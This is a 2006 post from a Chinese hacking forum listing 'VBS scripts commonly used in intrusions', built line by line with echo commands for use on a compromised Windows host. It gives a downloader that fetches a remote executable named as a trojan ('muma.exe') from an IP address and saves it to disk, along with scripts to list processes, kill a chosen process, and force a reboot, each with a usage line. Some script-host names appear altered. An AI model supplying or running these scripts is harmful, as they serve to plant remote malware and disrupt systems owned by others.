标题: [脚本入侵] 入侵常用vbs脚本 [打印本页]

---

作者: 烟圈配咖啡    时间: 2006-11-29 06:00     标题: [脚本入侵] 入侵常用vbs脚本

入侵常用vbs脚本

1.文件下载(无回显)
echo iLocal = LCase(Wwww.Arguments(1)) >iget.vbe
echo iRemote = LCase(Wwww.Arguments(0)) >>iget.vbe
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe
echo xPost.Open "GET",iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = CreateObject("ADODB.Stream") >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe
用法: cwww hget.vbs http://111.111.111.111/muma.exe muma.exe

2.列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wwww.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
用法:cwww ps.vbs

3.终止进程
@echo for each ps in getobject _ >pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs
@echo if ps.handle=wwww.arguments(0) then wwww.echo ps.terminate:end if:next >>pskill.vbs
用法:cwww pskill.vbs pid

4.重启系统
@echo for each os in getobject _ >reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs
用法:cwww reboot.vbs

---

欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)

Powered by Discuz! 7.2